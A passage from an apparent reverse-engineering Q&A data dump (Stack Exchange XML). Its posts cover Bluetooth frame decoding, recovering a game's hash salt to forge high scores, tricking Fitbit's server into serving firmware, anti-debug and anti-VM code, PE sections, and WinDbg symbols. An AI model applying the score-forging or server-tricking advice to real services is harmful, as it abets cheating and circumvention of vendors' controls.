href=&quot;http://en.wikipedia.org/wiki/Code_refactoring&quot; rel=&quot;nofollow&quot;&gt;refactoring&lt;/a&gt;.)&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="11836" LastEditorUserId="11836" LastEditDate="2015-03-03T08:24:15.893" LastActivityDate="2015-03-03T08:24:15.893" Title="cost, time and tools had Google reverse-engineered Java packages?" Tags="|disassembly|android|java|api|dalvik|" AnswerCount="1" CommentCount="6" ClosedDate="2015-02-27T16:24:26.723" ContentLicense="CC BY-SA 3.0" />
  <row Id="8335" PostTypeId="2" ParentId="6885" CreationDate="2015-02-25T11:57:42.917" Score="1" Body="&lt;p&gt;You have captured the bluetooth RFCOMM frames. These include various control fields which are handled by the bluetooth stack and are transparent to the overlying application layer. (Think serial port like communication with start/stop/parity bits being added but just over bluetooth instead.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your frames:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The 1st byte &lt;code&gt;0B&lt;/code&gt; is the address field.&lt;/li&gt;&#xA;&lt;li&gt;The 2nd byte &lt;code&gt;EF&lt;/code&gt; or &lt;code&gt;FF&lt;/code&gt; is the control field.&lt;/li&gt;&#xA;&lt;li&gt;The 3rd byte &lt;code&gt;2B&lt;/code&gt; is the payload length field (&lt;code&gt;0x2B&lt;/code&gt; =&gt; 21 byte payload)&lt;/li&gt;&#xA;&lt;li&gt;If the control byte = &lt;code&gt;FF&lt;/code&gt;, the 4th byte is related to credit based flow control.&lt;/li&gt;&#xA;&lt;li&gt;The final byte &lt;code&gt;9A&lt;/code&gt; or &lt;code&gt;86&lt;/code&gt; is the frame checksum&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Accordingly, the payload data starts at the 4th or 5th byte and finishes with the penultimate byte.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case, all 5 frames have the same 21 byte payload data which is what the application transmitted and the other end will receive.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00 11 17 70 02 24 b0 a1 e5 f0 b1 44 0d 8e 53 8f 26 68 8a 3f 07&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Speculating now, every Pebble app has a unique 16 byte UUID hat I would expect to be part of an uninstall command. If we assume the UUID is the last 16 bytes of the packet we then have data as follows-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00 11 17 70 02 [uuid]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;00 11&lt;/code&gt; occurring at the start could plausibly be some form of (big-endian) length field (17 bytes).  In which case, I'd guess the uuid combines with the preceding &lt;code&gt;02&lt;/code&gt; to make up the 17 bytes.  This would result in the following payload structure:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[length] 17 70 { 02, [uuid] }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If my speculation is correct this leaves only the combination of &lt;code&gt;17 70&lt;/code&gt; and &lt;code&gt;02&lt;/code&gt; to mean uninstall.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With more captures (uninstall of a different app or an app install) it should be possible to prove (or disprove!) this.&lt;/p&gt;&#xA;" OwnerUserId="4731" LastActivityDate="2015-02-25T11:57:42.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8336" PostTypeId="1" CreationDate="2015-02-25T12:22:13.003" Score="3" ViewCount="570" Body="&lt;p&gt;There is a game that has been created with Unity which I'm trying to beat. It sends your high-score to a site and gets posted there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've sniffed the outgoing traffic and the game sends your username, your score plus a MD5 hash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking to some on-line tutorials (and I'm guessing this too) the hash consists of something along the lines of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; MD5(user:USERNAME, score:SCORE, SALT)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can guess, I know the username and the score, but I don't know the secret. I'm trying to find these strings in Ollydbg but I'm having some trouble finding it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm having trouble in being able to set a breakpoint, as the score is sent when you click submit and time of the game is still running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions on how to find where the hashing occurs using Ollydbg? &#xA;How would you set the breakpoint if the game is still running?&lt;/p&gt;&#xA;" OwnerUserId="11837" LastEditorUserId="53" LastEditDate="2015-02-25T12:38:58.180" LastActivityDate="2015-04-26T18:39:54.587" Title="Highscores being sent as hash" Tags="|ollydbg|hash-functions|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8338" PostTypeId="2" ParentId="8334" CreationDate="2015-02-25T16:01:20.967" Score="3" Body="&lt;p&gt;As I understand it, they didn't reverse engineer anything. They wrote an independent implementation based on reading the documentation of the APIs. Oracle's contention was that simply having the same method names in the APIs was a copyright violation, which is obviously silly.&lt;/p&gt;&#xA;" OwnerUserId="1739" LastActivityDate="2015-02-25T16:01:20.967" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8339" PostTypeId="2" ParentId="8336" CreationDate="2015-02-25T16:52:23.870" Score="2" Body="&lt;p&gt;Here are several different approaches to finding the hashing algorithm (and from there, its caller), all of which can be done statically (since you said you were having trouble setting a breakpoint at runtime):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Search the disassembly for &lt;a href=&quot;https://www.ietf.org/rfc/rfc1321.txt&quot; rel=&quot;nofollow&quot;&gt;MD5 constants&lt;/a&gt;, such as &lt;code&gt;67452301&lt;/code&gt;, &lt;code&gt;d76aa478&lt;/code&gt;, etc.&lt;/li&gt;&#xA;&lt;li&gt;Search the disassembly for the string &lt;code&gt;&quot;MD5&quot;&lt;/code&gt; and references to that string.&lt;/li&gt;&#xA;&lt;li&gt;Search the disassembly for any strings/constants that appear in the network packet data that contain the hash. For example, if the network packet data is &lt;code&gt;&amp;lt;user&amp;gt;Komiblanka&amp;lt;/user&amp;gt;&amp;lt;highscore&amp;gt;1000&amp;lt;/highscore&amp;gt;&amp;lt;hash&amp;gt;8b1a9953c4611296a827abf8c47804d7&amp;lt;/hash&amp;gt;&lt;/code&gt;, then search for &lt;code&gt;&quot;highscore&quot;&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If these don't provide fruitful results, you can set a breakpoint in OllyDbg on &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms740149%28v=vs.85%29.aspx&quot; rel=&quot;nofollow&quot;&gt;ws2_32!send()&lt;/a&gt; and once you see it sending the buffer that contains the score hash, look at the call stack to find the previous functions involved.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-02-25T16:52:23.870" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8340" PostTypeId="2" ParentId="8336" CreationDate="2015-02-25T17:08:45.833" Score="1" Body="&lt;p&gt;As you mentioned OllyDbg I'm assuming you use windows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A quick search of the Unity Script Reference brings up &lt;a href=&quot;http://docs.unity3d.com/ScriptReference/Windows.Crypto.ComputeMD5Hash.html&quot; rel=&quot;nofollow&quot;&gt;Windows.Crypto.ComputeMD5Hash()&lt;/a&gt;.&lt;br&gt;&#xA;This function needs to be implemented by the Unity Engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either using the Windows Api - so set a breakpoint on &lt;code&gt;CryptCreateHash()&lt;/code&gt; and &lt;code&gt;CryptHashData()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or implementing it manually. To find that you can use Jason Geffner's answer OR (which might be faster) write your own small unity script that uses this function and debug that to find the address. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// http://docs.unity3d.com/Manual/CreatingAndUsingScripts.html&#xA;using UnityEngine;&#xA;using System.Collections;&#xA;&#xA;public class MainPlayer : MonoBehaviour {&#xA;&#xA;    // Use this for initialization&#xA;    void Start () {&#xA;        byte[] buf = {1, 2, 3};&#xA;        ComputeMD5Hash(buf);&#xA;    }&#xA;&#xA;    // Update is called once per frame&#xA;    void Update () {&#xA;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When you now look at the CIL code the call to &lt;code&gt;ComputeMD5Hash()&lt;/code&gt; should stand out clearly.&lt;/p&gt;&#xA;" OwnerUserId="8093" LastActivityDate="2015-02-25T17:08:45.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8343" PostTypeId="2" ParentId="8314" CreationDate="2015-02-26T18:35:08.817" Score="0" Body="&lt;p&gt;Okay, after a few more days I sort of have a solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First off, I still have absolutely no idea what the code is doing to cause the exception - this is what the only call to the function looks like (and I've made sure this is how the code gets there - the return address is the same):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/K4lt8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No RaiseException, the trap flag is not set - I have no ideas what this means. Regardless, I was able to discard the exception in this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;LONG WINAPI VEH_Handler(struct _EXCEPTION_POINTERS *ExceptionInfo)&#xA;{&#xA;    printf(&quot;Got an exception %X at address %X\n&quot;, ExceptionInfo-&amp;gt;ExceptionRecord-&amp;gt;ExceptionCode, ExceptionInfo-&amp;gt;ExceptionRecord-&amp;gt;ExceptionAddress);&#xA;&#xA;    if (ExceptionInfo-&amp;gt;ExceptionRecord-&amp;gt;ExceptionCode == EXCEPTION_SINGLE_STEP)&#xA;    {&#xA;        printf(&quot;patching trap flag\n&quot;);&#xA;&#xA;        __asm PUSHF&#xA;        __asm POP EAX&#xA;        __asm AND EAX, 0xFEFF&#xA;        __asm PUSH EAX&#xA;        __asm POPF&#xA;&#xA;        return EXCEPTION_CONTINUE_EXECUTION;&#xA;    }&#xA;&#xA;    return EXCEPTION_CONTINUE_SEARCH;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works, which I find somewhat amusing.&lt;/p&gt;&#xA;" OwnerUserId="8346" LastEditorUserId="8346" LastEditDate="2015-02-26T20:16:22.923" LastActivityDate="2015-02-26T20:16:22.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8345" PostTypeId="1" CreationDate="2015-02-26T23:30:31.100" Score="3" ViewCount="1196" Body="&lt;p&gt;I've been trying to get ahold of the firmware for a Fitbit Charge that I got recently. Since the device is sealed, I've been trying to see if I can get it to update its firmware and then analyze that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using mitmproxy, I was able to capture two &quot;check for updated firmware&quot; requests from the Mac desktop app. The requests are made by sending base64 encoded blob to the URL:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;https://desktop-client.fitbit.com/1/devices/client/tracker/data/firmware.json&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Note: you can only access this after being authenticated)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The two requests I've seen so far:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Request #1:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MQIAAAEAOwoAANHJhDAaCIh2xT9OB1J2GpqN5SrNsKeydnOCgDG00HTd0RSBLBsRtcvJvjrwkelgU0McyKrswGUo3JJytwPTsG3zB73bA9lFomPwrMKZhXA+XqvsYYIULi82bZJFE/W3H5Wu5lNikw2LyIqUOI1D1ywXnRQDdAxvdofFix8Y034AAA==&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hexdump:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0000000: 3102 0000 0100 3b0a 0000 d1c9 8430 1a08  1.....;......0..&#xA;0000010: 8876 c53f 4e07 5276 1a9a 8de5 2acd b0a7  .v.?N.Rv....*...&#xA;0000020: b276 7382 8031 b4d0 74dd d114 812c 1b11  .vs..1..t....,..&#xA;0000030: b5cb c9be 3af0 91e9 6053 431c c8aa ecc0  ....:...`SC.....&#xA;0000040: 6528 dc92 72b7 03d3 b06d f307 bddb 03d9  e(..r....m......&#xA;0000050: 45a2 63f0 acc2 9985 703e 5eab ec61 8214  E.c.....p&amp;gt;^..a..&#xA;0000060: 2e2f 366d 9245 13f5 b71f 95ae e653 6293  ./6m.E.......Sb.&#xA;0000070: 0d8b c88a 9438 8d43 d72c 179d 1403 740c  .....8.C.,....t.&#xA;0000080: 6f76 87c5 8b1f 18d3 7e00 00              ov......~..&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Request #2:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MQIAAAEASQoAANHJhDAaCGm7Oe56jNmLQ6+5vNdvC17TaFGe/xQzYYN9+nZjwxvKFLKpfyI44tY9Pxt4jpqkzbaN5B88lxLhMbesFxkuKWgW7dF4QAH+ie8sM2szJ4rIjuCffp3yLpMAeiIychkQ0hviyjYniPGw2X8nAVUMKXDp1EeQMuP2MX4AAA==&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hexdump:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0000000: 3102 0000 0100 490a 0000 d1c9 8430 1a08  1.....I......0..&#xA;0000010: 69bb 39ee 7a8c d98b 43af b9bc d76f 0b5e  i.9.z...C....o.^&#xA;0000020: d368 519e ff14 3361 837d fa76 63c3 1bca  .hQ...3a.}.vc...&#xA;0000030: 14b2 a97f 2238 e2d6 3d3f 1b78 8e9a a4cd  ....&quot;8..=?.x....&#xA;0000040: b68d e41f 3c97 12e1 31b7 ac17 192e 2968  ....&amp;lt;...1.....)h&#xA;0000050: 16ed d178 4001 fe89 ef2c 336b 3327 8ac8  ...x@....,3k3'..&#xA;0000060: 8ee0 9f7e 9df2 2e93 007a 2232 7219 10d2  ...~.....z&quot;2r...&#xA;0000070: 1be2 ca36 2788 f1b0 d97f 2701 550c 2970  ...6'.....'.U.)p&#xA;0000080: e9d4 4790 32e3 f631 7e00 00              ..G.2..1~..&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, the body of these requests seems to be encrypted somehow (relatively uniform byte distribution aside from the first 16 bytes and the last 3).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried using mitmproxy to send slightly modified versions of the base64 data (flipping a bit in the body, changing some of the header data, etc.), but any changes cause the server to respond that the data is invalid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, any ideas how I can trick the server into sending me a firmware update?&lt;/p&gt;&#xA;" OwnerUserId="257" LastActivityDate="2015-07-07T19:24:11.037" Title="Information about Fitbit Charge firmware update mechanism?" Tags="|firmware|embedded|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8346" PostTypeId="2" ParentId="8345" CreationDate="2015-02-26T23:57:01.007" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;So, any ideas how I can trick the server into sending me a firmware&#xA;  update?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Reverse engineer the desktop app, find where it's pulling your device's firmware number (&lt;a href=&quot;http://help.fitbit.com/articles/en_US/Help_article/What-has-changed-in-the-latest-tracker-update&quot; rel=&quot;nofollow&quot;&gt;probably 80 since that's the current firmware version&lt;/a&gt;), and change it to a lower number before it encrypts that data and sends the query to the server.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-02-26T23:57:01.007" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8348" PostTypeId="1" CreationDate="2015-02-27T11:52:16.350" Score="1" ViewCount="361" Body="&lt;p&gt;Can I change argument number to macro in IDA pro Hex-rays?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; fd = open(&quot;a&quot;, 513, 0644);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Like this. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;fd = open(&quot;a&quot;, O_WRONLY|O_CREAT, 0644);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="11855" LastEditorUserId="53" LastEditDate="2015-02-27T12:07:19.520" LastActivityDate="2015-02-27T12:07:19.520" Title="Changing the argument number in a macro in IDA Pro" Tags="|ida|ida-plugin|idapython|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8350" PostTypeId="1" AcceptedAnswerId="8353" CreationDate="2015-02-28T17:27:26.677" Score="5" ViewCount="833" Body="&lt;p&gt;I was recently working with the &lt;a href=&quot;https://msdn.microsoft.com/en-us/windows/hardware/gg463119.aspx&quot; rel=&quot;noreferrer&quot;&gt;Microsoft documentation about the PE and COFF specifications&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Chapter 5 shows several more or less &quot;soft&quot; indicators and characteristics to recognize what kind of stuff a section contains. However, the section characteristics flag is often the same for several different sections, and as I have read, the section name can be of arbitrary value, so it is not a big help too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually, I can only definitely recognize code sections by looking if the &lt;code&gt;IMAGE_SCN_MEM_EXECUTE&lt;/code&gt; flag is set, as other sections should not have this flag set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But how could I, for example, recognize the resource directory? It only has &lt;code&gt;IMAGE_SCN_CNT_INITIALIZED_DATA&lt;/code&gt; or &lt;code&gt;IMAGE_SCN_MEM_READ&lt;/code&gt; set, and many other sections have the same flag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I have to evaluate with some made-up and typical section names (&lt;code&gt;RSRC&lt;/code&gt; or &lt;code&gt;.rsrc&lt;/code&gt; for this example)? It will mean that I may get tricked out by custom section names. Do I even have to try-and-error analyzation of section data to get a more definite result of what the section contains?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is there a flag somewhere in the PE headers I skipped, helping me out in this case?&lt;/p&gt;&#xA;" OwnerUserId="6957" LastActivityDate="2015-02-28T18:24:16.327" Title="What is an indicator that a PE section definitely contains stuff of a specific type?" Tags="|windows|pe|file-format|executable|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8351" PostTypeId="1" AcceptedAnswerId="8361" CreationDate="2015-02-28T10:03:42.770" Score="3" ViewCount="402" Body="&lt;p&gt;I am reversing a file which is not running properly in Vmware.The code from the AEP is as shown below :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;POP EDI     ; value of edi is 0x7C816D4F kernel32.7C816D4F&#xA;PUSH EAX    ;value of eax is 0&#xA;INC EBP     ;value of ebp was 0x12FFF0&#xA;IN EAX,DX   ;value of DX is 0xEB94    &#xA;AAS&#xA;IN AL,0BF                      &#xA;DEC ESP&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I think is that  a privileged instruction(IN) is called from user mode which is not allowed and therefore execution fails.&#xA;IN is used for anti VM code but it requires specific values (VMXh port value in EAX etc) but in my case it is not being used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is ,is it some kind of anti debugging or is the file corrupt and will it run on a non VM machine(in my case XP).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And lastly,if a packer uses the method I mentioned above ie calling IN from usermode for Anti-reversing how come the sample runs on a real machine(since in this case also the privileged instruction will be called in user mode).&lt;/p&gt;&#xA;" OwnerUserId="11879" OwnerDisplayName="rebel87" LastActivityDate="2015-03-04T08:56:05.893" Title="Will this code run in real machine or is it some kind of Anti Reversing code?" Tags="|malware|debugging|x86|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8352" PostTypeId="2" ParentId="8351" CreationDate="2015-02-28T18:13:25.250" Score="3" Body="&lt;p&gt;Not easy to answer since there's not much context provided, but a few possibilities:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The unpacking stub detected the VM at some point before executing the code above, and due to the VM detection, the unpacking stub caused the above junk code to be executed.&lt;/li&gt;&#xA;&lt;li&gt;The unpacking stub set up an exception handler before executing the code above, and the exception handler expects and catches the privileged instruction exception.&lt;/li&gt;&#xA;&lt;li&gt;This code is never executed and you're looking at the wrong memory.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-02-28T18:13:25.250" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="8353" PostTypeId="2" ParentId="8350" CreationDate="2015-02-28T18:24:16.327" Score="5" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I can only definitely recognize code sections by looking if the&#xA;  &lt;code&gt;IMAGE_SCN_MEM_EXECUTE&lt;/code&gt; flag is set, as other sections should not have&#xA;  this flag set.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The presence of this flag doesn't &quot;definitely&quot; mean that that section contains code, and the absence of this flag doesn't &quot;definitely&quot; mean that that section doesn't contain code:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A PE file can have that flag on a non-code (data) section and still run fine (though this is not advisable from a security perspective).&lt;/li&gt;&#xA;&lt;li&gt;A PE file can have that flag missing from an actual code section, assuming that the operating system does not have &lt;a href=&quot;http://en.wikipedia.org/wiki/Data_Execution_Prevention&quot;&gt;DEP&lt;/a&gt; enabled and/or other code changes the memory protection of that section at runtime to make it executable.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;But how could I, for example, recognize the resource directory?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The only reliable way to find the resource directory is via the &lt;code&gt;IMAGE_DIRECTORY_ENTRY_RESOURCE&lt;/code&gt; entry in the PE file's &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms680305%28v=vs.85%29.aspx&quot;&gt;&lt;code&gt;IMAGE_DATA_DIRECTORY&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-02-28T18:24:16.327" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8354" PostTypeId="1" CreationDate="2015-03-01T01:15:51.787" Score="3" ViewCount="6959" Body="&lt;p&gt;This is definitely a beginner question but the WinDbg docs didn't help me out much because most of it is oriented around debugging programs with PDB files available. I tried .reload but it didn't have any effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a simple call to MessageBox disassembled with WinDbg/kd:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000`012f1000 6a00            push    0&#xA;00000000`012f1002 68d0202f01      push    offset ReverseMe+0x20d0 (012f20d0)&#xA;00000000`012f1007 68dc202f01      push    offset ReverseMe+0x20dc (012f20dc)&#xA;00000000`012f100c 6a00            push    0&#xA;00000000`012f100e ff159c202f01    call    dword ptr [ReverseMe+0x209c (012f209c)]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why is WinDbg not resolving the function name on the call for me? I can't imagine someone would be able to reverse engineer a program like this. When I trace the instructions, I'll end up at MessageBoxW so at least on some level WinDbg knows what is going on. I mean, it should, because the PDBs for the Windows APIs are available.&lt;/p&gt;&#xA;" OwnerUserId="11870" LastActivityDate="2015-05-23T23:17:22.507" Title="Why doesn't WinDbg resolve the function names?" Tags="|windbg|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8355" PostTypeId="1" CreationDate="2015-03-01T02:47:43.997" Score="0" ViewCount="189" Body="&lt;p&gt;Good evening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been using router has failed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to proceed with the SPI memory dump.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I have connected to the SPI memory in the router board using the Bus Pirate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I have to connect power to the router board?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bus Pirate do you only need to connect a power source?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XzBE5.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gqpRg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11864" LastActivityDate="2015-03-01T22:37:08.530" Title="I wonder about the SPI memory access" Tags="|spi|" AnswerCount="1" CommentCount="0" ClosedDate="2015-03-04T08:34:37.530" ContentLicense="CC BY-SA 3.0" />
  <row Id="8356" PostTypeId="1" CreationDate="2015-03-01T11:37:20.010" Score="0" ViewCount="4412" Body="&lt;p&gt;How can I decompile python 3.3 files ??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you please suggest me a tool for linux ubuntu 14.10 in specific &lt;/p&gt;&#xA;&#xA;&lt;p&gt;note easy decompiler didn't work for me :(&lt;/p&gt;&#xA;" OwnerUserId="11874" LastEditorUserId="11874" LastEditDate="2015-03-08T10:49:54.683" LastActivityDate="2015-03-08T10:49:54.683" Title="How to decompile python" Tags="|decompilation|python|" AnswerCount="1" CommentCount="2" ClosedDate="2015-03-03T07:01:54.657" ContentLicense="CC BY-SA 3.0" />
  <row Id="8357" PostTypeId="2" ParentId="8356" CreationDate="2015-03-01T12:02:47.253" Score="0" Body="&lt;p&gt;I doubt there is anything specific for Ubuntu, more than anything because the CPython byte-code is the same for all platforms, as far as I know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, I think this is the tool you want: &lt;a href=&quot;http://sourceforge.net/projects/easypythondecompiler/&quot; rel=&quot;nofollow&quot;&gt;http://sourceforge.net/projects/easypythondecompiler/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2015-03-01T12:02:47.253" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8358" PostTypeId="2" ParentId="8354" CreationDate="2015-03-01T12:08:25.323" Score="1" Body="&lt;p&gt;To resolve function names you need symbol information and symbol information is kept in pdb file if you do not have pdb file then it is definitely a very very hard task until you learn a few tricks / memorize a few patterns / understand few gotchas  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;windbg knows nothing about symbols if you have the symbol file do .reload /f depending on the psb type(private pdb / public pdb)   and compilation type (release / debug ) windbg will resolve public names and or private locals &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you do not have symbol information you may need piece it together &lt;/p&gt;&#xA;&#xA;&lt;p&gt;messagebox without symbol info &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; u 401000&#xA;image00400000+0x1000:&#xA;00401000 6a00            push    0&#xA;00401002 6800304000      push    offset image00400000+0x3000 (00403000)&#xA;00401007 6819304000      push    offset image00400000+0x3019 (00403019)&#xA;0040100c 6a00            push    0&#xA;0040100e e807000000      call    image00400000+0x101a (0040101a)&#xA;00401013 6a00            push    0&#xA;00401015 e806000000      call    image00400000+0x1020 (00401020)&#xA;0040101a ff2508204000    jmp     dword ptr [image00400000+0x2008 (00402008)]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;based on disassembly you may need to look for the right information&#xA;or simply view the hex i know MessageBoxA takes two ascii strings so i print them with %ma &#xA;to know what is pointed by the call (jmp [402008] i print the symbol information of the call  (i know microsoft provides public symbols for its core dlls i know user32.dll is a microsoft dll and i know i have the symbols (pdb file for this user32.dll)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; .printf &quot;%ma\n%ma\n%y\n&quot; , 403000, 403019,poi(402008)&#xA;Iczelion's tutorial no.2&#xA;Win32 Assembly is Great!&#xA;user32!MessageBoxA (7e4507ea)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now the same application with symbols&lt;/p&gt;&#xA;&#xA;&lt;p&gt;see windbg properly resolving function names when symbol info is available in disassembly &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; u 401000&#xA;dbgmsgbox!start [dbgmsgbox.asm @ 17]:&#xA;00401000 6a00            push    0&#xA;00401002 6800304000      push    offset dbgmsgbox!MsgCaption (00403000)&#xA;00401007 6819304000      push    offset dbgmsgbox!MsgBoxText (00403019)&#xA;0040100c 6a00            push    0&#xA;0040100e e807000000      call    dbgmsgbox!MessageBoxA (0040101a)&#xA;00401013 6a00            push    0&#xA;00401015 e806000000      call    dbgmsgbox!ExitProcess (00401020)&#xA;dbgmsgbox!MessageBoxA:&#xA;0040101a ff2508204000    jmp     dword ptr [dbgmsgbox!_imp__MessageBoxA (00402008)]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the information printed out earlier by printf hack is now available with pertinent type 